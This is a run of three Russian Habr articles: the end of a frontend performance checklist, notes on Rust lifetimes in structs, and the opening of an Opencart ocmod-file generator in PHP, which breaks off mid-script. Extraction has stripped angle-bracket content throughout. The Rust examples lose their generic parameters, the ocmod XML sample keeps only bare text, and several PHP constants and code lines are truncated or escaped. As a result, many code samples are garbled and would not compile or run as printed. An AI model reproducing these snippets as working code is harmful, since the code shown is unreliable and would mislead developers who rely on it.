### 24. Ваши серверы и CDN поддерживают HTTP/2?
Разные серверы и CDN могут по-разному поддерживать HTTP/2. Для проверки воспользуйтесь инструментом [Is TLS Fast Yet](https://istlsfastyet.com/)? либо проверьте выполнение вашими серверами и поддержку ими возможностей.
[Is TLS Fast Yet](https://istlsfastyet.com/)? позволяет узнать возможности ваших серверов и CDN при переходе на HTTP/2
### 25. Используется ли сжатие Brotli или Zopfli?
В прошлом году Google [представил Brotli](https://opensource.googleblog.com/2015/09/introducing-brotli-new-compression.html), новый opensource-формат данных без потерь, который сегодня [широко поддерживается](http://caniuse.com/#search=brotli) в Chrome, Firefox и Opera. На практике Brotli [получается эффективнее](https://samsaffron.com/archive/2016/06/15/the-current-state-of-brotli-compression) Gzip и Deflate. В зависимости от настроек этот формат может сжиматься медленнее, но зато степень сжатия получается выше.
Однако распаковка выполняется быстро. Поскольку формат разработан Google, неудивительно, что браузеры принимают его только при посещении сайтов через HTTPS. К слову, для этого есть технические причины. Сегодня Brotli не предустанавливается на большинстве серверов, и его не так просто настроить. *(прим. переводчика: Достаточно собрать соответствующий модуль от google или cloudflare и динамически подключить его, для чего nginx понадобится только лишь перечитать конфиг)* Однако вы можете [включить Brotli даже в тех CDN, которые](http://calendar.perfplanet.com/2016/enabling-brotli-even-on-cdns-that-dont-support-it-yet/) его пока не поддерживают (с помощью сервис-воркера).
В качестве альтернативы можно использовать алгоритм сжатия Zopfli, кодирующий данные в форматы Deflate, GZIP и ZLIB. При сжимании любого ресурса обычным GZIP вы выиграете от применения Deflate-кодирования, улучшенного с помощью Zopfli, потому что файлы станут на 3–8% меньше, чем при максимальном ZLIB-сжатии. Проблема в том, что сжимание будет идти примерно в 80 раз дольше. Поэтому рекомендуется применять Zopfli для тех ресурсов, которые не сильно меняются, а также для файлов, которые сжимаются один раз и многократно скачиваются.
### 26. Включён ли OCSP stapling?
Включив на своих [серверах OCSP stapling](https://www.digicert.com/enabling-ocsp-stapling.htm), вы можете ускорить TLS-хендшейки. Протокол Online Certificate Status Protocol (OCSP) был создан в качестве альтернативы протоколу Certificate Revocation List (CRL). Они оба используются для проверки аннулирования SSL-сертификата. Однако OCSP не требует от браузера скачивать список сертификатов и потом искать в нём нужную информацию, что экономит время, затрачиваемое на хендшейки.
### 27. Вы уже внедрили IPv6?
В связи с [исчерпанием IPv4](https://en.wikipedia.org/wiki/IPv4_address_exhaustion) и быстрым внедрением IPv6 в основных мобильных сетях (в США [достигнут](https://www.google.com/intl/en/ipv6/statistics.html#tab=ipv6-adoption&tab=ipv6-adoption) порог 50-процентного внедрения (по ссылке – 29.66%, – прим. переводчика) ) имеет смысл [обновить ваш DNS до IPv6](https://www.paessler.com/blog/2016/04/08/monitoring-news/ask-the-expert-current-status-on-ipv6). Убедитесь, что в рамках сети обеспечивается поддержка двойного стека — это позволяет одновременно использовать IPv6 и IPv4. Имейте в виду, что IPv6 не имеет обратной совместимости. [Исследования показывают,](https://www.cloudflare.com/ipv6/) что этот протокол может ускорять работу сайтов на 15% за счёт «обнаружения соседей» (NDP) и оптимизации маршрутов.
### 28. Вы используете сжатие HPACK?
Если вы используете HTTP/2, то проверьте, чтобы ваши серверы [применяли HPACK-сжатие](https://blog.cloudflare.com/hpack-the-silent-killer-feature-of-http-2/) для заголовков HTTP-откликов. Это уменьшает ненужные накладные расходы. Из-за своей новизны HTTP/2-серверы могут поддерживать спецификации не полностью, в том числе и HPACK. Можете проверить это с помощью прекрасного инструмента [H2spec](https://github.com/summerwind/h2spec). [Работа HPACK](https://www.keycdn.com/blog/http2-hpack-compression/).
*[H2spec](https://github.com/summerwind/h2spec)*
### 29. Используются ли сервис-воркеры для кэширования и как сетевой fallback (network fallbacks)?
Никакие оптимизации производительности в рамках сети не могут сравниться с кэшем, хранящимся на пользовательском компьютере. Если ваш сайт работает через HTTPS, то изучите руководство [Pragmatist’s Guide to Service Workers](https://github.com/lyzadanger/pragmatist-service-worker), чтобы кэшировать статические ресурсы в кэше сервис-воркера, а также сохранять резервный оффлайн-контент (или даже страницы целиком) с последующим извлечением с пользовательской машины вместо передачи по сети. Почитайте также [Offline Cookbook](https://jakearchibald.com/2014/offline-cookbook/) и изучите бесплатный курс на Udacity [Offline Web Applications](https://www.udacity.com/course/offline-web-applications--ud899). В браузерах [появляется поддержка](http://caniuse.com/#search=serviceworker), а сеть в любом случае выступает в качестве резервного решения.
*#### Тестирование и мониторинг*
### 30. Отслеживайте предупреждения о смешанном контенте (mixed-content warnings)
Если вы недавно мигрировали с HTTP на HTTPS, то обязательно отслеживайте активные и пассивные предупреждения о смешанном контенте. Это можно делать с помощью [report-uri.io](https://report-uri.io/). Также можно сканировать HTTPS-сайт на наличие смешанного контента с помощью [Mixed Content Scan](https://github.com/bramus/mixed-content-scan).
### 31. Оптимизирован ли ваш процесс разработки?
Выберите инструмент для отладки и кликните по каждой кнопке. Убедитесь, что вы знаете, как анализировать производительность отрисовки и выводимые в консоль данные, как отлаживать JavaScript и редактировать CSS-стили. [В этом выступлении](https://www.youtube.com/watch?v=N33lYfsAsoU) рассматриваются десятки неясностей и рисков в ходе отладки и тестирования с помощью инструментов разработчика.
### 32. Вы провели тестирование в устаревших и прокси-браузерах?
Недостаточно просто протестировать в Chrome и Firefox. Проверьте, как ваш сайт работает в устаревших и прокси-браузерах. К примеру, UC Browser и Opera Mini [занимают приличную долю рынка в Азии](http://gs.statcounter.com/#mobile_browser-as-monthly-201511-201611) (до 35%). [Измерьте среднюю скорость интернета](https://www.webworldwide.io/) в ваших целевых странах, чтобы избежать неприятных сюрпризов. Протестируйте в условиях регулирования полосы пропускания, эмулируйте устройства с высоким значением DPI. [BrowserStack](https://www.browserstack.com/) — вещь фантастическая, но обязательно проводите тесты и на реальных устройствах.
### 33. Настроен ли у вас непрерывный мониторинг?
Наличие собственного экземпляра [WebPagetest](http://www.webpagetest.org/) полезно для быстрого тестирования без ограничений. Настройте непрерывный мониторинг бюджета производительности с автоматической рассылкой предупреждений. Также настройте собственные пользовательские временные метки (user timing marks) для измерения и мониторинга специфических бизнес-метрик. Отслеживать изменение производительности можно с помощью [SpeedCurve](https://speedcurve.com/) и/ или [New Relic](https://newrelic.com/browser-monitoring). Это поможет понять ограничения WebPagetest. Также обратите внимание на [SpeedTracker](https://speedtracker.org/), [Lighthouse](https://github.com/GoogleChrome/lighthouse) и [Calibre](https://calibreapp.com/).
### Быстрые результаты
У нас получился достаточно объёмный список, и оптимизация займёт какое-то время. А если у вас есть всего один час, чтобы значительно улучшить производительность? Давайте сведём наш список к **десяти самым быстрорешаемым задачам**. Конечно, перед началом оптимизации и по её окончании необходимо будет провести измерения, включая время начала отрисовки и значение Speed Index при 3G- и кабельном соединении.
1. Ваша цель — начать отрисовку менее чем через одну секунду для кабельного и менее чем через три секунды – для 3G-соединения. Значение SpeedI ndex — менее 1000. Оптимизируйте время начала отрисовки и время до начала взаимодействия.
2. Подготовьте критический CSS для ваших шаблонов и включите его в (ваш бюджет — 14 Кб).
3. Откладывайте и лениво загружайте как можно больше скриптов (как своих, так и сторонних), особенно кнопки социальных сетей, видеоплееры и дорогой JavaScript.
4. Воспользуйтесь хинтами для ресурсов ради ускорения доставки с помощью `dns-lookup`, `preconnect`, `prefetch`, `preload` и `prerender`.
5. Используйте уменьшенные наборы символов в веб-шрифтах и грузите их асинхронно (или вообще переключитесь на системные шрифты).
6. Оптимизируйте изображения и постарайтесь использовать WebP на наиболее важных страницах (например, лэндинговых).
7. Проверьте правильность настройки заголовков HTTP-кэша и заголовков безопасности.
8. Включите на сервере сжатие Brotli или Zopfli. Если это невозможно, то не забудьте включить GZIP-сжатие.
9. Если доступен HTTP/2, то включите HPACK-сжатие и начните отслеживать предупреждения о смешанном контенте. Если вы работаете через TLS, то включите OCSP stapling.
10. По мере возможности кэшируйте такие ресурсы, как шрифты, стили, JavaScript и изображения (чем больше, тем лучше!) в кэше сервис-воркера.
### Скачайте чек-лист (PDF, Apple Pages)
Держа в голове этот чеклист, вы будете готовы к работе над любыми проектами по улучшению производительности фронтенда.
* [PDF](http://provide.smashingmagazine.com/performance-checklist/performance-checklist-1.0.pdf)
* [Apple Pages](http://provide.smashingmagazine.com/performance-checklist/performance-checklist-1.0.pages)
Если вам нужны альтернативные решения, обратитесь к чек-листам [Дэна Раблика](https://github.com/drublic/checklist) и [Джона Яблонски](http://jonyablonski.com/designers-wpo-checklist/).
### Поехали!
Некоторые оптимизации могут не входить в вашу зону ответственности или бюджет либо могут быть просто излишними, если вам приходится работать с legacy-кодом. Ничего страшного! Этот чек-лист можно взять за основу для создания своего собственного списка, учитывающего особенности вашей работы. Но самое важное — тестируйте и измеряйте метрики своих проектов, чтобы выявлять проблемы до выполнения оптимизаций. | https://habr.com/ru/post/320558/ | null | ru | null |
# Конспектируем Книгу Rust:: Времена и структуры
Продолжаем работать с [10.3](https://doc.rust-lang.ru/book/ch10-03-lifetime-syntax.html).
КМБ.- Двойная жизнь.- Восстание мертвецов.- Ошибка в документации.- Ужасающие подробности из The Rustonomicon.- Архитектурные озарения.- Развязка.
* **Предыдущая часть**: [Времена и функции](https://habr.com/ru/post/567596/)
* **Начало и содержание**: [Владение](https://habr.com/ru/post/566668/)
КМБ по структурам
=================
[Простой вариант](https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=f546df770563a3db857afe391cc84cff):
```
#[derive(Debug)]
struct Point {
x: i32,
y: i32,
}
#[derive(Debug)]
struct Circle {
center: Point,
radius: i32,
}
fn main(){
let p1 = Point{x:10, y:20};
println!("p: {:?}", p1);
let c = Circle{ center: Point{x: 1, y:2}, radius: 3,};
println!("c: {:?}", c);
}
```
* `#[derive(Debug)]` обеспечивает генерацию кода для красивой печати через `{:?}`
* Все поля должны быть явно проинициализированы
[Вариант с обобщенными типами](https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=35675994928283170588dc57a538c4b4):
```
#[derive(Debug)]
struct Point {
x: T,
y: T,
}
#[derive(Debug)]
struct Circle {
center: Point,
radius: T,
}
fn main(){
let p\_i32 = Point::{x:10, y:20};
println!("p\_i32: {:?}", p\_i32);
let p\_str = Point::<&str>{x: "I'm x", y: "I'm y"};
println!("p\_str: {:?}", p\_str);
let c\_f64 = Circle::{ center: Point{x: 1.1, y:2.2}, radius: 3.3,};
println!("c\_f64: {:?}", c\_f64);
}
```
Структуры со ссылочными полями
==============================
До структур процесс засахаривания еще не дошел, поэтому необходимо явно аннотировать абсолютно все, что относится к временам жизни. [Пример](https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=4df86428e53b85483fca395af38cb8ba):
```
#[derive(Debug)]
struct Point<'a, T> {
x: &'a T,
y: &'a T,
}
#[derive(Debug)]
struct Circle<'a, T> {
center: Point<'a, T>,
radius: &'a T,
}
fn main(){
let p_i32 = Point::{x: &10, y: &20};
println!("p\_i32: {:?}", p\_i32);
let c\_f64 = Circle::{ center: Point{x: &1.1, y: &2.2}, radius: &3.3,};
println!("c\_f64: {:?}", c\_f64);
}
```
* `&10` — занятно, Go так не может ([cannot take the address of 10](https://play.golang.org/p/pP6NFcrDs2n))
* Примеры неразрывно связаны с иррациональным ритуалом проставления `'a` в параметрах структур и далее везде
* Как показано ранее, можно сделать `Point...Point::<&str>`, что в итоге дает структуру с двумя ссылочными полями, явно времена нигде не указаны и ничего — пол не провалился
* В чем тут ~~сила~~ смысл, брат?
Может быть, смысл появится, если параметров времени жизни будет несколько?
Двойная жизнь
=============
В текущей документации по Rust я не нашел внятного примера на этот счет, но зато он есть в одной из старых версий, [19.2 Advanced Lifetimes](https://doc.rust-lang.org/1.33.0/book/ch19-02-advanced-lifetimes.html). В примере используются конструкции, которые мы еще "не проходили", так что я решил его немного переделать, заодно подправил "архитектуру" по своему вкусу.
Целью было заставить Rust выдавать ошибку компиляции, если используется только одно время жизни. Должен сказать, это удалось не сразу — обычно строгий, до садизма, компилятор в этот раз благодушно прощал мне попытки манипулировать временами. Интересно, что пример из старой версии теперь также прекрасно [компилируется](https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=794abc35ac2d5596d69842f67d72dff5). Видимо, технические писатели помыкались, помыкались… да и не стали вообще рассказывать про это в новой версии.
Что ж, [мы не привыкли отступать](https://youtu.be/Mg7Fr3UP1pI?t=7). Общий замысел примера таков — есть короткоживущий (`'s`) Parser и долгоживущий (`'l`) Context. Parser берет данные из Context и возвращает результат в рамках жизни Context (т.е. результат работы Parser тоже долгоживущий).
Context:
```
struct Context<'l> {
data: &'l str,
}
```
* Здесь все живет долго (`'l`)
Parser:
```
struct Parser<'s, 'l: 's> {
ctx: &'s Context<'l>,
internal_data: &'s str,
}
```
* `struct Parser<'s, 'l: 's>`: означает, что у структуры два параметра времени жизни, время жизни `'l` включает в себя `'s` (`'l` outlives `'s`)
* `ctx: &'s Context<'l>` означает, что `ctx` является короткоживущей ссылкой, которая ссылается на экземпляр `Context` с долгоживущими ссылками внутри
* На всякий случай — вместо `'s` и `'l` можно использовать другие имена, от этого ничего не изменится, т.е. это не какие-то магические спецслова
Метод `Parser.parse()`:
```
impl<'s, 'l> Parser<'s, 'l> {
fn parse(&self) -> &'l str {
if self.ctx.data.len() > 1{
&self.ctx.data[1..]
} else {
self.ctx.data
}
}
}
```
* Смысл метода — вернуть подстроку `ctx.data` начиная со второго байта, если этот второй байт есть
[Все вместе](https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=3b84f4ca7f6c9ac22bedd6a04f491871):
```
#![allow(unused)]
struct Context<'l> {
data: &'l str,
}
struct Parser<'s, 'l: 's> {
ctx: &'s Context<'l>,
internal_data: &'s str,
}
impl<'s, 'l> Parser<'s, 'l> {
fn parse(&self) -> &'l str {
if self.ctx.data.len() > 0{
&self.ctx.data[1..]
} else {
self.ctx.data
}
}
}
fn main(){
let working_ctx = Context{data: "0123456"};
let parsing_res: &str
{
let dummy = &String::from("dummy");
let p = Parser{ctx: &working_ctx, internal_data: dummy};
parsing_res = p.parse();
}
println!("parsing_res: {}", parsing_res)
}
```
Сломать это можно [таким образом](https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=fe5ed62c37363f05e1ebe4e9193df4fd):
```
...
impl<'a> Parser<'a, 'a> {
fn parse(&self) -> &'a str {
...
```
Тут как бы разработчик методов для `Parser` пренебрег указаниями проектировщика структуры и для реализации использовал только один параметр времени жизни. Вот этого компилятор уже простить не может, но сообщение при этом несколько странное:
```
26 | let dummy = &String::from("dummy");
| ^^^^^^^^^^^^^^^^^^^^^ creates a temporary which is freed while still in use
...
29 | }
| - temporary value is freed at the end of this statement
30 | println!("parsing_res: {}", parsing_res)
| ----------- borrow later used here
...
= note: consider using a `let` binding to create a longer lived value
```
А вот и не угадал, `dummy` вообще не используется! Кроме того, должен признать, что совет про let мне непонятен. Конечно, приятно загнать в угол компилятор, но действует он в правильном направлении, и даже, возможно, по-своему прав.
Строка `let p = Parser{ctx: &working_ctx, internal_data: dummy};` связывает с `p` два времени жизни, короткое от `dummy` и длинное от `working_ctx`, но по сигнатуре `parse()` теперь не понять, с каким из них связан результат, так что компилятор выбирает из двух ~~зол~~ времен наименьшее, т.е. `dummy`. C коротким временем жизни `dummy` связывать долгоживущий `parsing_res`, естественно, нельзя. Сообщение компилятора, конечно, оставляет желать лучшего, с lifetime такая проблема есть, этим даже [ребята из Zürich озабочены](https://ethz.ch/content/dam/ethz/special-interest/infk/chair-program-method/pm/documents/Education/Theses/David_Blaser_BA_Report.pdf).
Ладно, посмотрим, как можно дополнительно сломать уже сломанное, чтобы минус на минус дал плюс.
Первый вариант, инициализировать dummy [таким образом](https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=c437a43a5b2302435c953c157dcb9e75):
```
...
// let dummy = &String::from("dummy");
let dummy = "dummy";
...
```
Все заработало, несмотря на то, что у нас все еще "закорочены" времена (`impl<'a> Parser<'a, 'a>`). В чем тут дело? Видать, компилятор использует не только сигнатуры, но и data-flow analysis.
Значение переменной `dummy` теперь связано со временем жизни `'static` (возможно, компилятор вообще эту переменную "оптимизирует", в любом случае — ее значение не "тухнет") и переменная `p`, получается, связана либо со `'static`, либо с `working_ctx`. Соответственно, возвращаемое `p.parse()` значение можно смело "поднимать" на уровень `working_ctx`, и код потенциально "сертифицируется" без всякой дополнительной разметки времен.
Тут, кстати, можно начать подозревать, что понятие "время жизни" относится не столько к ссылкам, сколько к значениям, на которые они указывают...
[Второй вариант](https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=cb51fe853126c1d0a6eeb0d2a456a3b8), убрать `internal_data` из `Parser`:
```
...
struct Parser<'s, 'l: 's> {
ctx: &'s Context<'l>,
}
...
```
Теперь `p` у нас инициализируется так: `let p = Parser{ctx: &working_ctx};`, т.е. она связана только с долгоживущим `working_ctx` и возвращаемое любыми методами `Parser` значения можно использовать там же, где и `working_ctx`.
Все? [Нет, не все](https://www.youtube.com/watch?v=f2YKwtDXOQo).
Структуры со ссылками в параметрах функций
==========================================
Приготовьтесь, сейчас будет грустно.
Обратимся к [документации](https://doc.rust-lang.ru/book/ch10-03-lifetime-syntax.html#%D0%9F%D1%80%D0%B0%D0%B2%D0%B8%D0%BB%D0%B0-%D0%BD%D0%B5%D1%8F%D0%B2%D0%BD%D0%BE%D0%B3%D0%BE-%D0%B2%D1%8B%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D1%8F-%D0%B2%D1%80%D0%B5%D0%BC%D0%B5%D0%BD%D0%B8-%D0%B6%D0%B8%D0%B7%D0%BD%D0%B8) по поводу неявного выведения времен жизни (lifetime elision):
> **Первое правило** говорит, что каждый параметр являющийся ссылкой, получает свой собственный параметр времени жизни. Другими словами, **функция с одним параметром получит один параметр времени жизни**: fn foo<'a>(x: &'a i32); функция с двумя аргументами получит два различных параметра времени жизни: fn foo<'a, 'b>(x: &'a i32, y: &'b i32) — и так далее.
>
>
>
> **Второе правило** говорит, что если существует **точно один входной параметр времени жизни, то его время жизни назначается всем выходным параметрам**: `fn foo<'a>(x: &'a i32) -> &'a i32`.
Рассмотрим [такой код](https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=f4a59d92919dffe6f228c8dab20fef67):
```
...
struct Circle<'a, T> {
center: Point<'a, T>,
radius: &'a T,
}
fn get_radius(c: &Circle) -> &T {
c.radius
}
```
Теперь следите за руками. Входной параметр один? Да. Ergo — будет один входной параметр времени жизни. Согласно второму правилу, время жизни этого параметра назначается всем выходным параметрам. Так почему же...:
```
15 | fn get_radius(c: &Circle) -> &T {
| ---------- ^ expected named lifetime parameter
```
А потому, что в документации написано неправильно. Может быть, это проблема перевода? Нет, это не проблема перевода, вот [оригинал](https://doc.rust-lang.org/book/ch10-03-lifetime-syntax.html#lifetime-elision):
> The first rule is that each parameter that is a reference gets its own lifetime parameter. In other words, a **function with one parameter gets one lifetime parameter**: fn foo<'a>(x: &'a i32); a function with two parameters gets two separate lifetime parameters: fn foo<'a, 'b>(x: &'a i32, y: &'b i32); and so on.
>
>
>
> The second rule is **if there is exactly one input lifetime parameter, that lifetime is assigned to all output lifetime parameters**: fn foo<'a>(x: &'a i32) -> &'a i32.
Эта ошибочная формулировка пошла гулять по другим руководствам, немного мутируя по пути, см., например, [тут](https://learning-rust.github.io/docs/c3.lifetimes.html): "...only one input parameter passes by reference...".
Где правда? Вестимо, в ["старом учебнике"](http://web.mit.edu/rust-lang_v1.25/arch/amd64_ubuntu1404/share/doc/rust/html/book/first-edition/lifetimes.html#lifetime-elision) получше, тогда деревья были большие, и все такое — но все равно туманно, без примеров надлежащего качества. Относительно неплохо также [изложено](https://doc.rust-lang.org/nomicon/lifetime-elision.html) в страшном и ужасном The Rustonomicon, но уже несколько иными словами. Эти слова цитирует ув. [PsyHaSTe](https://habr.com/ru/users/psyhaste/) [тут](https://habr.com/ru/post/434200/), правда, при их интерпретации использует ошибочную формулировку:
> … в случае статических функций время жизни всех аргументов полагаются равными...
Может быть это и опечатка, одну букву всего-то заменить… [но ведь кто-то должен](https://youtu.be/DP8FeT7hJXU?t=44), наконец, сформулировать нормально на русском языке, да и примеров подходящих все равно нигде нет… Итак:
> **Правило 1**. Неуказанные времена жизни во входных параметрах функции автоматически проставляются и полагаются **разными**.
>
> **Правило 2**. Если во входных параметрах функции можно указать максимум одно время жизни, то оно используется для всех неуказанных времен в выходных параметрах.
>
> **Правило 3**. Если во входных параметрах есть `&self` или `&mut self`, то время жизни этого параметра используется для всех неуказанных времен в выходных параметрах.
Теперь опять рассмотрим непонятный пример. Сколько времен жизни **можно максимально** указать во входящих параметрах? **Два**:
```
fn get_radius<'a, 'b, T>(c: &'a Circle<'b, T>) -> &T {
c.radius
}
```
Собственно, как-то так они проставляются компилятором "для себя" по Правилу 1, соответственно, Правило 2 не работает. Как починить?
У нас два варианта — связать результат со временем жизни ссылки `c` или со временем жизни ссылок внутри того, на что указывает `с`.
Первый вариант:
```
fn get_radius<'a, 'b, T>(c: &'a Circle<'b, T>) -> &'a T {
```
или:
```
fn get_radius<'c, T>(c: &'c Circle) -> &'c T {
```
Второй вариант:
```
fn get_radius<'a, 'b, T>(c: &'a Circle<'b, T>) -> &'b T {
```
или
```
fn get_radius<'circle, T>(c: &Circle<'circle, T>) -> &'circle T {
```
И [последний пример:](https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=76cdfdc24549be56aa5064cd87379966):
```
...
fn get_radius(c: Circle) -> &T {
c.radius
}
```
Во входящих параметрах нет ни ссылок ни времен, почему работает? А потому, что можно указать только одно время жизни, соответственно, срабатывает Правило 2:
```
fn get_radius<'a, T>(c: Circle<'a, T>) -> &T {
c.radius
}
```
Размышления про архитектуру приложения
======================================
Сложность написания и, что немаловажно, сложность чтения кода с большим количеством параметров времени жизни в структурах с увеличением числа этих самых параметров растет экспоненциально (или даже круче!), так что, КМК, лучше избегать сложных случаев.
* Структуры должны быть простыми, с одним параметром времени жизни (S — **S**OLID)
* "Агрегировать" структуры следует на уровне функций/методов
* Есть даже [такое мнение](https://users.rust-lang.org/t/perpetual-n00b-struggling-with-ownership-again/46920/4): You're not allowed to use references in structs until you think Rust is easy...Use Box or Arc to store things in structs "by reference" (про `Box` и `Arc` будет в следующих частях)
В свете сказанного `Parser` можно [переписать так](https://play.rust-lang.org/?version=stable&mode=debug&edition=2018&gist=135fbaa29b5f1216bc9926792c3dd5aa):
```
struct Context<'a> {
data: &'a str,
}
struct Parser<'a> {
internal_data: &'a str,
}
impl<'s, 'l: 's> Parser<'s> {
fn parse(&self, ctx: &'l Context) -> &'l str {
...
```
Или, используя [anonymous lifetime](https://doc.rust-lang.org/edition-guide/rust-2018/ownership-and-lifetimes/the-anonymous-lifetime.html), так (но пропадает соотношение времен):
```
...
impl Parser<'_> {
fn parse<'l>(&self, ctx: &'l Context) -> &'l str {
...
```
* Мы больше не храним ссылку на `Context` внутри `Parser`, а передаем прямо в метод `parse()`
* В реализации методов для `Parser` мы указываем компилятору, что возвращаемое значение `parse()` связано параметром `ctx`
* В принципе, соотносить времена не требуется, достаточно того, что они разные. Parser живет дольше Context? — Ну ок, почему нет. Главное, не использовать результат в более "широкой" области, чем Context, но тут-то компилятор за всем проследит!
Заключение
==========
Конспект получился длиннее лекции, но это ничего — зато теперь можно смело идти получать "зачет"по 10.3.
[Провидению препоручаю вас](https://www.youtube.com/watch?v=iXQAfWTRZvI&t=743s), дети мои, и заклинаю: остерегайтесь использовать ссылки в структурах, особенно в сложных структурах. Это, конечно, была шутка. Тем не менее — praemonitus praemunitus, forewarned is forearmed и так далее.
[Stay tuned](https://youtu.be/tYc2jQaM8gM?t=37).
**PS: Далее**: [Работа с кучей](https://habr.com/ru/post/573422/) | https://habr.com/ru/post/569496/ | null | ru | null |
# Генератор ocmod-файла для интернет-магазина на Opencart
Реально ли при разработке модификаций для распространенного движка интернет-магазинов Opencart сосредоточиться на своих алгоритмах, а подготовку файла для подгрузки в эту CMS дать на откуп специальным скриптам? Собственно, это то, что сильно облегчило бы жизнь разработчикам под Opencart, и в данной статье я предлагаю мой вариант решения.
Немного вступления:
Формат ocmod — довольно элегантное решение для определения модификаций исходных файлов, причем независимо от их формата. Одна из частей формата – это XML-файл, в котором прописано, в каком файле и в каком месте этого файла необходимо внести определенные изменения. Вот пример ocmod-файла (взято с ocmod.net, более подробное его описание можно взять там же):
```
xml version="1.0" encoding="utf-8"?
Количество просмотров в товаре
`product-page-views`
1.0
https://ocmod.net
https://ocmod.net
$data['images'] = array();
$data['view'] = $product\_info['viewed'];
$\_['text\_search']
$\_['text\_view'] = 'View: ';
```
В общих чертах задаем следующее:
```
что ищем
что вставляем или чем замещаем
```
Хотя принцип довольно прозрачен, встает вопрос: можно ли автоматизировать процесс его создания или придется писать его вручную, ведь программист должен заниматься программированием, а не ~~онанир~~глупой рутинной деятельностью.
В идеале написание модификации под Opencart могло бы выглядеть так: мы скачали «непорочную» версию магазина, прямо в его исходниках внесли кое-какие изменения и запустили «волшебный» скрипт, который прямо на месте нам сгенерировал весь ocmod. На деле все немного сложнее, однако мы постараемся приблизиться к этой схеме. Основная проблема – это определение местоположения в файле для вставки (то, что между …). Это должен сделать программист. Как правило, его стараются сделать максимально универсальным, чтобы охватить больше потенциальных версий исходников, и при этом чтобы менялось именно там, где надо. Это явно ручная работа. Все остальное автоматизируемо.
Небольшое отступление: поиск происходит в строке целиком, и вставка возможна только перед, после или вместо нее, но никак не внутри (в классической поставке OCMOD для Opencart). Это непонятное лично для меня ограничение. Также мне не понятно, почему нельзя задать несколько тегов для поиска нужного места вставки, которые бы последовательно отрабатывались – ведь поиск был бы намного более гибок. Например, если в коде PHP, то, скажем, найти имя функции, потом найти в ней нужное место или еще как-нибудь на усмотрение программиста. Но этого я не нашел, если ошибаюсь, пожалуйста, поправьте.
А теперь самое главное: автоматизировать процесс создания ocmod-файла можно, при этом надо просто придерживаться нужной схемы. Во первых, в исходном файле нам необходимо как-то обозначить место наших изменений – и просто для порядка, и чтобы наш ocmod-генератор адресно все знал. Допустим, нас зовут Петр Николаевич Иванов (совпадения случайны). Давайте все наши изменения заключать между тегами …, а чтобы теги не портили исходник, будем помещать эти теги в комментариях того языка, над файлом которого мы в данный момент работаем. Между тегами прямо на месте зададим строку поиска между и добавляемый код между . Будет понятнее на примере:
Для изменений в PHP:
```
…
(здесь исходный код opencart)
…
//
// а вот здесь уже добавляемый нами один из кусков кода нашей модификации -
// мы должны задать и место поиска, и сам код (все в этом комментарии)
// public function index() {
//
$x = 5;
$y = 6;
//
…
```
Или так:
```
…
(здесь исходный код opencart)
…
/*
public function index() {
\*/
$x = 5;
$y = 6;
/\* */
…
```
Если у или присутствуют какие-то атрибуты, например, , то они «как есть» будут перенесены в наш ocmod-файл. То, что мы пишем между ними, не требует какого-либо XML-экранирования, мы просто пишем строку поиска и код.
Еще пример, уже для изменяемого нами twig-файла:
```
{#
- {{ price }}
#}
- {{ price }}
{# #}
```
После того, как мы оформили подобным образом все наши изменения, нам понадобится скрипт, который все это обработает, а также архиватор. Делюсь с вами своим вариантом: он состоит из файла конфигурации и собственно скрипта.
Файл конфигурации make-ocmod.opencart.local.cfg.php (кодировка UTF-8, это пример, каждый делает под себя):
```
php
define("ROOT_PATH", "../../opencart.local");
define("ENCODING", "utf-8");
define("NAME", "Мой ocmod");
define("CODE", "product-page-views");
define("VERSION", "1.0");
define("AUTHOR", "AS");
define("LINK", "");
define("TAG_OPERATION_BEGIN", "<PNI");
define("TAG_OPERATION_END", "");
define("TAG_SEARCH_BEGIN", "
define("TAG\_SEARCH\_END", "
```
");
define("TAG\_ADD\_BEGIN", "
define("TAG\_ADD\_END", "");
// Указать тег конца кода может быть возможным только в комментарии
// (чтобы код, где он написан, работал).
// Этот массив указывает последовательности, которые будут отсечены, если
// встречаются перед (включая пробелы, \t, \r, \n между ними, если есть)
$commentsBegin = [ '//', '/\*', '', '#}' ];
// Если эти подсроки встречаются в относительном пути, то эти файлы и каталоги
// не обрабатываем.
$exclude = [ '/cache/', '/cache-/' ];
// Эти файлы будут помещены в upload.
// Здесь вы укажете свои файлы, если они есть.
$upload = [
'admin/view/stylesheet/combined-options.css',
'admin/view/javascript/combined-options.js',
'catalog/view/theme/default/stylesheet/combined-options.css',
'admin/view/image/combined-options/cross.png',
'catalog/view/javascript/combined-options/combined.js',
'catalog/view/javascript/combined-options/aswmultiselect.js',
'admin/view/image/combined-options/select.png'
];
// Это будет помещено в install.sql.
// (в новых версиях Opencart не учитывается)
$sql = "";
?>
Теперь главное – генератор ocmod xml-файла.
Скрипт make-ocmod.php (кодировка UTF-8):
```
php
include_once ($argv[1]);
function processFile($fileName, $relativePath) {
global $commentsBegin, $commentsEnd, $xml, $exclude;
if ($exclude)
foreach ($exclude as $ex)
if (false !== strpos($relativePath, $ex))
return;
$text = file_get_contents($fileName);
$end = -1;
while (false !== ($begin = strpos($text, TAG_OPERATION_BEGIN, $end + 1))) {
$end = strpos($text, TAG_OPERATION_END, $begin + 1);
if (false === $end)
die ("No close operation tag in ".$fileName);
$search = false;
$searchEnd = $begin;
while (false !== ($searchBegin = strpos($text, TAG_SEARCH_BEGIN, $searchEnd + 1)) and $searchBegin < $end) {
$searchBeginR = strpos($text, '', $searchBegin + 1);
$searchAttributes = substr($text, $searchBegin + strlen(TAG_SEARCH_BEGIN), $searchBeginR - $searchBegin - strlen(TAG_SEARCH_BEGIN));
if (false === $searchBeginR or $searchBeginR >= $end)
die ("Invalid search tag in ".$fileName);
$searchEnd = strpos($text, TAG_SEARCH_END, $searchBeginR + 1);
if (false === $searchEnd or $searchEnd >= $end)
die ("No close search tag in ".$fileName);
// Запоминаем последний
$search = substr($text, $searchBeginR + 1, $searchEnd - $searchBeginR - 1);
}
